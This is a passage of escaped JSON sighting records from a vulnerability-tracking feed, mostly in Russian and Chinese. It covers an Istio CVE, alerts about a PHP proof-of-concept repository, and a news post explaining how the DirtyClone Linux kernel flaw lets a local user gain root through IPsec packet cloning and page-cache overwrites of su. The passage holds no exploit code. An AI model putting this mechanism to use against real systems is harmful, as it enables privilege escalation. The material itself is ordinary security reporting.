\u0442\u044b\u0441\u044f\u0447\u0430\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c \u043c\u0435\u0436\u0434\u0443 \u043c\u0438\u043a\u0440\u043e\u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0438 observability \u0432 Kubernetes-\u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430\u0445. \n\nR'n'D-\u043a\u043e\u043c\u0430\u043d\u0434\u0430 Luntry \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0432 Istio \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043a\u0430\u043a CVE-2026-31838. \u041c\u044b \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043d\u0435\u0439 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0438 \u043e\u043d\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043f\u0430\u0442\u0447 \u0441 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0430\u0448\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435.\n\ud83d\udd17 Security Advisory \u043e\u0442 Istio \n\n\ud83d\udca1 \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e?\nService mesh \u2014 \u044d\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0439 \u0441\u043b\u043e\u0439  \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0432\u0435\u0441\u044c \u043c\u0435\u0436\u0441\u0435\u0440\u0432\u0438\u0441\u043d\u044b\u0439 \u0442\u0440\u0430\u0444\u0438\u043a. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0442\u0430\u043a\u043e\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u044b\u0441\u044f\u0447\u0438 \u043f\u0440\u043e\u0434\u0430\u043a\u0448\u0435\u043d-\u043a\u043b\u0430\u0441\u0442\u0435\u0440\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443. \n\n\ud83d\udd25 \u0421\u0442\u0430\u0432\u044c\u0442\u0435 \u043e\u0433\u043e\u043d\u044c, \u0435\u0441\u043b\u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0435, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u043d\u0430\u0445\u043e\u0434\u043a\u0438 \u0434\u0435\u043b\u0430\u044e\u0442 \u0432\u0441\u044e \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044e \u0441\u0438\u043b\u044c\u043d\u0435\u0435!\n\n\ud83d\udcd6 \u0425\u043e\u0442\u0438\u0442\u0435 \u0443\u0437\u043d\u0430\u0442\u044c \u0432\u0441\u0451 \u0438 \u0441\u0440\u0430\u0437\u0443? \n\u041c\u044b \u0443\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0431\u043e\u043b\u044c\u0448\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \n\n#1 \u0438\u0437 5 \u0432 \u0441\u0435\u0440\u0438\u0438 \u043f\u043e\u0441\u0442\u043e\u0432 \u043e \u0432\u043a\u043b\u0430\u0434\u0435 Luntry \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043c\u0438\u0440\u043e\u0432\u043e\u0433\u043e Open Source.", "creation_timestamp": "2026-08-16T00:00:49.086305Z"}, {"uuid": "0ee31f36-0440-4f39-8c6f-7740c7213e18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3180", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/87948", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-3180-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a carlosalbertotuma\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a PHP\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-08 23:33:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-12T11:00:03.379104Z"}, {"uuid": "76dc0476-2a45-4221-9ca8-c7c0ab2444e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.com/post/3mqhhdqlumk2b", "content": "\ud83d\udc27 \u00bfC\u00f3mo funciona 'Copy Fail'? El exploit de 732 bytes que otorga acceso Root en Linux (CVE-2026-31431) (+MITIGACI\u00d3N) www.newstecnicas.com/2026/04/copy...", "creation_timestamp": "2026-07-12T15:07:04.199073Z"}, {"uuid": "a39c58f3-3e4a-4f56-b470-6da53035a4a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3180", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/87948", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-3180-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a carlosalbertotuma\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a PHP\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-08 23:33:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T00:00:45.186589Z"}, {"uuid": "97ca62b1-3cbe-4201-b546-58fb5fcdb54a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/true_secator/8349", "content": "DirtyClone\u00a0- \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux \u0438\u0437 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430\u00a0DirtyFrag, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 25 \u0438\u044e\u043d\u044f JFrog  \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 PoC - \u043f\u0435\u0440\u0432\u0443\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0443\u044e \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\n\nCVE-2026-43503 (CVSS 8.8) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u0432\u0440\u0435\u0434\u0438\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c, \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u0443\u044e \u0444\u0430\u0439\u043b\u0430\u043c\u0438, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root. \u041f\u0430\u0442\u0447 \u0431\u044b\u043b \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u0443\u044e \u0432\u0435\u0442\u043a\u0443 21 \u043c\u0430\u044f.\n\n\u041a\u043e\u0433\u0434\u0430 \u044f\u0434\u0440\u043e \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u0430\u043a\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0431\u044f, \u0434\u0432\u0435 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442 \u0444\u043b\u0430\u0433 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043c\u0435\u0447\u0430\u0435\u0442 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0430\u043a\u0435\u0442\u0430 \u043a\u0430\u043a \u043e\u0431\u0449\u0443\u044e \u0441 \u0444\u0430\u0439\u043b\u043e\u043c \u043d\u0430 \u0434\u0438\u0441\u043a\u0435. \u0418\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0444\u043b\u0430\u0433\u0430 \u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 /usr/bin/su, \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438 \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u044f\u0434\u0440\u043e \u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e.\n\n\u041e\u043d \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u044c IPsec, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0430 \u044d\u0442\u0430\u043f \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0431\u0430\u0439\u0442\u0430\u043c\u0438, \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c. \u041f\u0440\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b su \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0440\u0430\u0432 root.\n\n\u0424\u0430\u0439\u043b \u043d\u0430 \u0434\u0438\u0441\u043a\u0435 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f. \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043a\u043e\u043f\u0438\u0438, \u0445\u0440\u0430\u043d\u044f\u0449\u0435\u0439\u0441\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0435\u0433\u043e \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442, \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u0435\u0434\u043e\u0432 \u0430\u0443\u0434\u0438\u0442\u0430, \u0430 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f CAP_NET_ADMIN \u0434\u043b\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0442\u0443\u043d\u043d\u0435\u043b\u044f IPsec \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438. \u0412 Debian \u0438 Fedora \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u044d\u0442\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d.\n\n\u0412 Ubuntu 24.04 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432 \u0438\u043c\u0435\u043d \u0447\u0435\u0440\u0435\u0437 AppArmor \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043e, \u0447\u0442\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430. \u041a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0445\u043e\u0441\u0442\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u0432\u043d\u0435\u0441\u0435\u043d\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d, \u0432\u043b\u0438\u044f\u044e\u0442 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435.\n\n\u041a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 CI, \u0445\u043e\u0441\u0442\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u044b Kubernetes, \u0433\u0434\u0435 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d.\n\nJFrog \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Debian, Ubuntu \u0438 Fedora \u0441 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432 \u0438\u043c\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u042d\u0442\u043e \u0443\u0436\u0435 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0441 \u0442\u0435\u043c \u0436\u0435 \u0441\u0430\u043c\u044b\u043c \u0441\u0431\u043e\u0435\u043c: \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u0435\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0430\u0445, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0430 \u0437\u0430\u0442\u0435\u043c \u0441\u0435\u0442\u0435\u0432\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0430 \u043c\u0435\u0441\u0442\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u0443\u0434\u0430, \u043a\u0443\u0434\u0430 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u043e \u0431\u044b \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0420\u0430\u043d\u0435\u0435:\n\n- Copy Fail (CVE-2026-31431) \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0432 \u043a\u043e\u043d\u0446\u0435 \u0430\u043f\u0440\u0435\u043b\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u043e\u0434\u0443\u043b\u044c algif_aead \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0447\u0435\u0442\u044b\u0440\u0435\u0445\u0431\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446.\n\n- DirtyFrag (CVE-2026-43284 \u0438 CVE-2026-43500) \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c 7 \u043c\u0430\u044f, \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u044f \u043f\u0443\u0442\u0438 IPsec ESP \u0438 RxRPC \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043f\u0438\u0441\u0438.\n\n- Fragnesia (CVE-2026-46300) \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c 13 \u043c\u0430\u044f \u0438 \u043e\u0431\u043e\u0448\u043b\u0430 \u043f\u0430\u0442\u0447 DirtyFrag \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043e\u0448\u0438\u0431\u043a\u0435 \u0441\u0431\u0440\u043e\u0441\u0430 \u0444\u043b\u0430\u0433\u0430 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 skb_try_coalesce().\n\n\u041a\u0430\u0436\u0434\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u043b\u043e \u043e\u0434\u0438\u043d \u043f\u0443\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438. DirtyClone \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u0430 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 __pskb_copy_fclone(), \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f skb_shift(), \u0431\u043e\u043b\u0435\u0435 \u0448\u0438\u0440\u043e\u043a\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 CVE \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u043e\u0432, \u0433\u0434\u0435 \u0442\u043e\u0442 \u0436\u0435 \u0444\u043b\u0430\u0433 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u0442\u0435\u0440\u044f\u043d.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432 \u043e\u0434\u043d\u043e\u0439 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u042d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043a\u043e\u0434\u0430, \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u044e\u0449\u0438\u0439 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b skb, \u0434\u043e\u043b\u0436\u0435\u043d \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0431\u0438\u0442 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u043c\u043e\u0433\u043e 